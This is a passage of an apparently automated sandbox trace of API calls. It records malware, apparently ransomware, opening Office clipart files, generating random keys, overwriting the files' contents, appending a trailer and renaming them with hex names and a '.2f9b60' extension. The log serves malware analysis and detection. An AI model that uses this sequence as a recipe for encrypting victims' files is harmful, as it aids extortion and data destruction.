BaseAddress=0x423a7640) returned 1 [0164.081] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a75e0) returned 1 [0164.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a75b0) returned 1 [0164.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f40f0) returned 1 [0164.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f41b0) returned 1 [0164.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f41e0) returned 1 [0164.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4230e5a0 [0164.083] wcscat (in: _Dest=0x4230e5a0, _Source="f84c946eaa51" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f84c946eaa51") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f84c946eaa51" [0164.083] wcscat (in: _Dest=0x4230e5a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f84c946eaa51.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f84c946eaa51.2f9b60" [0164.083] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f84c946eaa51.2f9b60", NtPathName=0x2906fe10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f84c946eaa51.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c2b050 Thread: id = 2363 os_tid = 0x1d50 [0150.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf")) returned 0x20 [0150.127] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF", dwFileAttributes=0x20) returned 1 [0150.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x21c8 [0150.128] GetFileSizeEx (in: hFile=0x21c8, lpFileSize=0x29e5f9c0 | out: lpFileSize=0x29e5f9c0*=2524) returned 1 [0150.128] SetFilePointerEx (in: hFile=0x21c8, liDistanceToMove=0x9d8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.128] ReadFile (in: hFile=0x21c8, lpBuffer=0x29e5f940, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29e5f988, lpOverlapped=0x0 | out: lpBuffer=0x29e5f940*, lpNumberOfBytesRead=0x29e5f988*=0x4, lpOverlapped=0x0) returned 1 [0150.130] SetFilePointerEx (in: hFile=0x21c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.130] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0150.130] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4180 [0150.130] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4210 [0150.130] NtQuerySystemTime (in: CurrentTime=0x29e5f880 | out: CurrentTime=0x29e5f880*=132462177553366000) returned 0x0 [0150.130] RtlRandomEx (in: Seed=0x29e5f870 | out: Seed=0x29e5f870) returned 0x32a9d390 [0150.130] RtlRandomEx (in: Seed=0x29e5f870 | out: Seed=0x29e5f870) returned 0x6ec2a8d8 [0150.130] RtlRandomEx (in: Seed=0x29e5f870 | out: Seed=0x29e5f870) returned 0x5fd8b111 [0150.130] RtlRandomEx (in: Seed=0x29e5f870 | out: Seed=0x29e5f870) returned 0x14ca84bb [0150.130] RtlRandomEx (in: Seed=0x29e5f870 | out: Seed=0x29e5f870) returned 0x1496a7 [0150.130] RtlRandomEx (in: Seed=0x29e5f870 | out: Seed=0x29e5f870) returned 0x2d056c78 [0150.130] RtlRandomEx (in: Seed=0x29e5f870 | out: Seed=0x29e5f870) returned 0x25c347e6 [0150.130] RtlRandomEx (in: Seed=0x29e5f870 | out: Seed=0x29e5f870) returned 0x4ed961df [0150.130] RtlRandomEx (in: Seed=0x29e5f870 | out: Seed=0x29e5f870) returned 0x46d57f35 [0150.130] RtlRandomEx (in: Seed=0x29e5f870 | out: Seed=0x29e5f870) returned 0x26472cd9 [0150.130] RtlRandomEx (in: Seed=0x29e5f870 | out: Seed=0x29e5f870) returned 0x2e82e3a1 [0150.130] RtlRandomEx (in: Seed=0x29e5f870 | out: Seed=0x29e5f870) returned 0x62d269a3 [0150.130] RtlRandomEx (in: Seed=0x29e5f870 | out: Seed=0x29e5f870) returned 0x37c209cb [0150.131] RtlRandomEx (in: Seed=0x29e5f870 | out: Seed=0x29e5f870) returned 0x204087f1 [0150.131] RtlRandomEx (in: Seed=0x29e5f870 | out: Seed=0x29e5f870) returned 0x3e294196 [0150.131] RtlRandomEx (in: Seed=0x29e5f870 | out: Seed=0x29e5f870) returned 0x1eefc6bc [0150.131] RtlRandomEx (in: Seed=0x29e5f870 | out: Seed=0x29e5f870) returned 0x19a13b58 [0150.131] RtlRandomEx (in: Seed=0x29e5f870 | out: Seed=0x29e5f870) returned 0x3c1ecac4 [0150.131] RtlRandomEx (in: Seed=0x29e5f870 | out: Seed=0x29e5f870) returned 0x2ae74ca1 [0150.131] RtlRandomEx (in: Seed=0x29e5f870 | out: Seed=0x29e5f870) returned 0x64218bcb [0150.131] RtlRandomEx (in: Seed=0x29e5f870 | out: Seed=0x29e5f870) returned 0x6d9fc8e1 [0150.131] RtlRandomEx (in: Seed=0x29e5f870 | out: Seed=0x29e5f870) returned 0x191e3b39 [0150.131] RtlRandomEx (in: Seed=0x29e5f870 | out: Seed=0x29e5f870) returned 0x6c6d80a [0150.131] RtlRandomEx (in: Seed=0x29e5f870 | out: Seed=0x29e5f870) returned 0x37f28cd6 [0150.131] RtlRandomEx (in: Seed=0x29e5f870 | out: Seed=0x29e5f870) returned 0x1a0eaf58 [0150.131] RtlRandomEx (in: Seed=0x29e5f870 | out: Seed=0x29e5f870) returned 0x7cb95992 [0150.131] RtlRandomEx (in: Seed=0x29e5f870 | out: Seed=0x29e5f870) returned 0x29d6e424 [0150.131] RtlRandomEx (in: Seed=0x29e5f870 | out: Seed=0x29e5f870) returned 0x273e4ac3 [0150.131] RtlRandomEx (in: Seed=0x29e5f870 | out: Seed=0x29e5f870) returned 0x1380172 [0150.131] RtlRandomEx (in: Seed=0x29e5f870 | out: Seed=0x29e5f870) returned 0x6dcaa1a1 [0150.131] RtlRandomEx (in: Seed=0x29e5f870 | out: Seed=0x29e5f870) returned 0x4e67fedf [0150.131] RtlRandomEx (in: Seed=0x29e5f870 | out: Seed=0x29e5f870) returned 0x5c0da402 [0150.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4240 [0150.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5ae30 [0150.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4270 [0150.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5ae30) returned 1 [0150.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4210) returned 1 [0150.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0150.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420591f0 [0150.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5ae30 [0150.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0150.139] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0150.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424179b0 [0150.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4241b5c0 [0150.139] ReadFile (in: hFile=0x21c8, lpBuffer=0x424179b0, nNumberOfBytesToRead=0x9dc, lpNumberOfBytesRead=0x29e5f870, lpOverlapped=0x0 | out: lpBuffer=0x424179b0*, lpNumberOfBytesRead=0x29e5f870*=0x9dc, lpOverlapped=0x0) returned 1 [0150.139] SetFilePointerEx (in: hFile=0x21c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.139] WriteFile (in: hFile=0x21c8, lpBuffer=0x4241b5c0*, nNumberOfBytesToWrite=0x9dc, lpNumberOfBytesWritten=0x29e5f874, lpOverlapped=0x0 | out: lpBuffer=0x4241b5c0*, lpNumberOfBytesWritten=0x29e5f874*=0x9dc, lpOverlapped=0x0) returned 1 [0162.080] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7430 [0162.081] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7460 [0162.081] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7460) returned 1 [0162.081] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4241b5c0) returned 1 [0162.081] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424179b0) returned 1 [0162.081] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5ae30) returned 1 [0162.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420591f0) returned 1 [0162.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a7460 [0162.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420591f0 [0162.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5ae30 [0162.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7490 [0162.083] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7490) returned 1 [0162.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a7490 [0162.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a74c0 [0162.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a74f0 [0162.084] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a74f0) returned 1 [0162.084] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5ae30) returned 1 [0162.084] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420591f0) returned 1 [0162.084] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423adbb0 [0162.085] SetFilePointerEx (in: hFile=0x21c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.085] WriteFile (in: hFile=0x21c8, lpBuffer=0x423adbb0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x29e5f990, lpOverlapped=0x0 | out: lpBuffer=0x423adbb0*, lpNumberOfBytesWritten=0x29e5f990*=0x10a, lpOverlapped=0x0) returned 1 [0164.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0164.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b630 [0164.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f40c0 [0164.059] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f40c0) returned 1 [0164.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d140 [0164.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f40c0 [0164.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4090 [0164.059] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4090) returned 1 [0164.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b630) returned 1 [0164.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0164.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f80 [0164.060] sprintf (in: _Dest=0x1b7d7f80, _Format="%c%c" | out: _Dest="8a") returned 2 [0164.060] sprintf (in: _Dest=0x1b7d7f82, _Format="%c%c" | out: _Dest="a5") returned 2 [0164.060] sprintf (in: _Dest=0x1b7d7f84, _Format="%c%c" | out: _Dest="61") returned 2 [0164.060] sprintf (in: _Dest=0x1b7d7f86, _Format="%c%c" | out: _Dest="a9") returned 2 [0164.060] sprintf (in: _Dest=0x1b7d7f88, _Format="%c%c" | out: _Dest="f0") returned 2 [0164.061] sprintf (in: _Dest=0x1b7d7f8a, _Format="%c%c" | out: _Dest="f8") returned 2 [0164.061] sprintf (in: _Dest=0x1b7d7f8c, _Format="%c%c" | out: _Dest="47") returned 2 [0164.061] sprintf (in: _Dest=0x1b7d7f8e, _Format="%c%c" | out: _Dest="8f") returned 2 [0164.061] sprintf (in: _Dest=0x1b7d7f90, _Format="%c%c" | out: _Dest="76") returned 2 [0164.061] sprintf (in: _Dest=0x1b7d7f92, _Format="%c%c" | out: _Dest="0a") returned 2 [0164.061] sprintf (in: _Dest=0x1b7d7f94, _Format="%c%c" | out: _Dest="12") returned 2 [0164.061] sprintf (in: _Dest=0x1b7d7f96, _Format="%c%c" | out: _Dest="4c") returned 2 [0164.061] sprintf (in: _Dest=0x1b7d7f98, _Format="%c%c" | out: _Dest="88") returned 2 [0164.061] sprintf (in: _Dest=0x1b7d7f9a, _Format="%c%c" | out: _Dest="ce") returned 2 [0164.061] sprintf (in: _Dest=0x1b7d7f9c, _Format="%c%c" | out: _Dest="11") returned 2 [0164.061] sprintf (in: _Dest=0x1b7d7f9e, _Format="%c%c" | out: _Dest="f8") returned 2 [0164.061] sprintf (in: _Dest=0x1b7d7fa0, _Format="%c%c" | out: _Dest="0a") returned 2 [0164.061] sprintf (in: _Dest=0x1b7d7fa2, _Format="%c%c" | out: _Dest="b5") returned 2 [0164.061] sprintf (in: _Dest=0x1b7d7fa4, _Format="%c%c" | out: _Dest="d9") returned 2 [0164.061] sprintf (in: _Dest=0x1b7d7fa6, _Format="%c%c" | out: _Dest="0e") returned 2 [0164.061] sprintf (in: _Dest=0x1b7d7fa8, _Format="%c%c" | out: _Dest="1b") returned 2 [0164.061] sprintf (in: _Dest=0x1b7d7faa, _Format="%c%c" | out: _Dest="1a") returned 2 [0164.061] sprintf (in: _Dest=0x1b7d7fac, _Format="%c%c" | out: _Dest="8e") returned 2 [0164.061] sprintf (in: _Dest=0x1b7d7fae, _Format="%c%c" | out: _Dest="74") returned 2 [0164.061] RtlInitAnsiString (in: DestinationString=0x29e5fa08, SourceString="8aa561a9f0f8478f760a124c88ce11f80ab5d90e1b1a8e74" | out: DestinationString="8aa561a9f0f8478f760a124c88ce11f80ab5d90e1b1a8e74") [0164.061] RtlAnsiStringToUnicodeString (in: DestinationString=0x29e5f9d8, SourceString="8aa561a9f0f8478f760a124c88ce11f80ab5d90e1b1a8e74", AllocateDestinationString=1 | out: DestinationString="8aa561a9f0f8478f760a124c88ce11f80ab5d90e1b1a8e74") returned 0x0 [0164.061] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x203fa890 [0164.062] RtlFreeAnsiString (AnsiString="8") [0164.062] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f80) returned 1 [0164.063] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d140) returned 1 [0164.063] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f40c0) returned 1 [0164.063] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423adbb0) returned 1 [0164.063] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7490) returned 1 [0164.063] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a74c0) returned 1 [0164.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7460) returned 1 [0164.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7430) returned 1 [0164.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4180) returned 1 [0164.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4240) returned 1 [0164.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4270) returned 1 [0164.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4230e460 [0164.065] wcscat (in: _Dest=0x4230e460, _Source="8aa561a9f0f8" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\8aa561a9f0f8") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\8aa561a9f0f8" [0164.065] wcscat (in: _Dest=0x4230e460, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\8aa561a9f0f8.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\8aa561a9f0f8.2f9b60" [0164.065] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\8aa561a9f0f8.2f9b60", NtPathName=0x29e5f9b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\8aa561a9f0f8.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c2aed0 Thread: id = 2364 os_tid = 0x1d54 [0150.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf")) returned 0x20 [0150.141] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF", dwFileAttributes=0x20) returned 1 [0150.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x21cc [0150.142] GetFileSizeEx (in: hFile=0x21cc, lpFileSize=0x2c00f660 | out: lpFileSize=0x2c00f660*=2324) returned 1 [0150.142] SetFilePointerEx (in: hFile=0x21cc, liDistanceToMove=0x910, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.142] ReadFile (in: hFile=0x21cc, lpBuffer=0x2c00f5e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c00f628, lpOverlapped=0x0 | out: lpBuffer=0x2c00f5e0*, lpNumberOfBytesRead=0x2c00f628*=0x4, lpOverlapped=0x0) returned 1 [0150.143] SetFilePointerEx (in: hFile=0x21cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0150.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4210 [0150.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f42a0 [0150.144] NtQuerySystemTime (in: CurrentTime=0x2c00f520 | out: CurrentTime=0x2c00f520*=132462177553522000) returned 0x0 [0150.144] RtlRandomEx (in: Seed=0x2c00f510 | out: Seed=0x2c00f510) returned 0x52a63541 [0150.144] RtlRandomEx (in: Seed=0x2c00f510 | out: Seed=0x2c00f510) returned 0x6eaa02a1 [0150.144] RtlRandomEx (in: Seed=0x2c00f510 | out: Seed=0x2c00f510) returned 0x3acbfe6b [0150.144] RtlRandomEx (in: Seed=0x2c00f510 | out: Seed=0x2c00f510) returned 0x2af7ab90 [0150.144] RtlRandomEx (in: Seed=0x2c00f510 | out: Seed=0x2c00f510) returned 0x4848a171 [0150.144] RtlRandomEx (in: Seed=0x2c00f510 | out: Seed=0x2c00f510) returned 0x638c62b6 [0150.144] RtlRandomEx (in: Seed=0x2c00f510 | out: Seed=0x2c00f510) returned 0x3b7670cd [0150.144] RtlRandomEx (in: Seed=0x2c00f510 | out: Seed=0x2c00f510) returned 0x4ac3dfe2 [0150.144] RtlRandomEx (in: Seed=0x2c00f510 | out: Seed=0x2c00f510) returned 0x7a8a01b3 [0150.144] RtlRandomEx (in: Seed=0x2c00f510 | out: Seed=0x2c00f510) returned 0x6a0fe5bf [0150.144] RtlRandomEx (in: Seed=0x2c00f510 | out: Seed=0x2c00f510) returned 0x5f04bd04 [0150.144] RtlRandomEx (in: Seed=0x2c00f510 | out: Seed=0x2c00f510) returned 0x3e3a41d5 [0150.144] RtlRandomEx (in: Seed=0x2c00f510 | out: Seed=0x2c00f510) returned 0x143976d [0150.144] RtlRandomEx (in: Seed=0x2c00f510 | out: Seed=0x2c00f510) returned 0x228b1521 [0150.144] RtlRandomEx (in: Seed=0x2c00f510 | out: Seed=0x2c00f510) returned 0x41ff3dfc [0150.145] RtlRandomEx (in: Seed=0x2c00f510 | out: Seed=0x2c00f510) returned 0x2119632f [0150.145] RtlRandomEx (in: Seed=0x2c00f510 | out: Seed=0x2c00f510) returned 0x5ffd6959 [0150.145] RtlRandomEx (in: Seed=0x2c00f510 | out: Seed=0x2c00f510) returned 0x425692b6 [0150.145] RtlRandomEx (in: Seed=0x2c00f510 | out: Seed=0x2c00f510) returned 0x7e8d6805 [0150.145] RtlRandomEx (in: Seed=0x2c00f510 | out: Seed=0x2c00f510) returned 0x3bdfd5be [0150.145] RtlRandomEx (in: Seed=0x2c00f510 | out: Seed=0x2c00f510) returned 0x7bbc9c6b [0150.145] RtlRandomEx (in: Seed=0x2c00f510 | out: Seed=0x2c00f510) returned 0x2a5bf3b2 [0150.145] RtlRandomEx (in: Seed=0x2c00f510 | out: Seed=0x2c00f510) returned 0x2da460ea [0150.145] RtlRandomEx (in: Seed=0x2c00f510 | out: Seed=0x2c00f510) returned 0x2ca84145 [0150.145] RtlRandomEx (in: Seed=0x2c00f510 | out: Seed=0x2c00f510) returned 0x47d904bc [0150.145] RtlRandomEx (in: Seed=0x2c00f510 | out: Seed=0x2c00f510) returned 0x7c022a63 [0150.145] RtlRandomEx (in: Seed=0x2c00f510 | out: Seed=0x2c00f510) returned 0x4312344c [0150.145] RtlRandomEx (in: Seed=0x2c00f510 | out: Seed=0x2c00f510) returned 0x2ca378e2 [0150.145] RtlRandomEx (in: Seed=0x2c00f510 | out: Seed=0x2c00f510) returned 0x380bd062 [0150.145] RtlRandomEx (in: Seed=0x2c00f510 | out: Seed=0x2c00f510) returned 0x648537dc [0150.145] RtlRandomEx (in: Seed=0x2c00f510 | out: Seed=0x2c00f510) returned 0x55483ad4 [0150.145] RtlRandomEx (in: Seed=0x2c00f510 | out: Seed=0x2c00f510) returned 0x13f01924 [0150.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f42d0 [0150.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5aeb0 [0150.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4300 [0150.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5aeb0) returned 1 [0150.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f42a0) returned 1 [0150.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0150.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x17a750 [0150.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5aeb0 [0150.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0150.154] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0150.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4241f1d0 [0150.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42422de0 [0150.154] ReadFile (in: hFile=0x21cc, lpBuffer=0x4241f1d0, nNumberOfBytesToRead=0x914, lpNumberOfBytesRead=0x2c00f510, lpOverlapped=0x0 | out: lpBuffer=0x4241f1d0*, lpNumberOfBytesRead=0x2c00f510*=0x914, lpOverlapped=0x0) returned 1 [0150.154] SetFilePointerEx (in: hFile=0x21cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.154] WriteFile (in: hFile=0x21cc, lpBuffer=0x42422de0*, nNumberOfBytesToWrite=0x914, lpNumberOfBytesWritten=0x2c00f514, lpOverlapped=0x0 | out: lpBuffer=0x42422de0*, lpNumberOfBytesWritten=0x2c00f514*=0x914, lpOverlapped=0x0) returned 1 [0162.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7440 [0162.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7770 [0162.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7770) returned 1 [0162.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42422de0) returned 1 [0162.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4241f1d0) returned 1 [0162.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5aeb0) returned 1 [0162.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x17a750) returned 1 [0162.237] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced7770 [0162.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x17a750 [0162.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5aeb0 [0162.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20501250 [0162.239] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501250) returned 1 [0162.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20501250 [0162.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18090 [0162.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c180c0 [0162.239] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c180c0) returned 1 [0162.239] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5aeb0) returned 1 [0162.240] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x17a750) returned 1 [0162.240] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x42c141b0 [0162.240] SetFilePointerEx (in: hFile=0x21cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.240] WriteFile (in: hFile=0x21cc, lpBuffer=0x42c141b0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2c00f630, lpOverlapped=0x0 | out: lpBuffer=0x42c141b0*, lpNumberOfBytesWritten=0x2c00f630*=0x10a, lpOverlapped=0x0) returned 1 [0164.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059970 [0164.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59930 [0164.392] 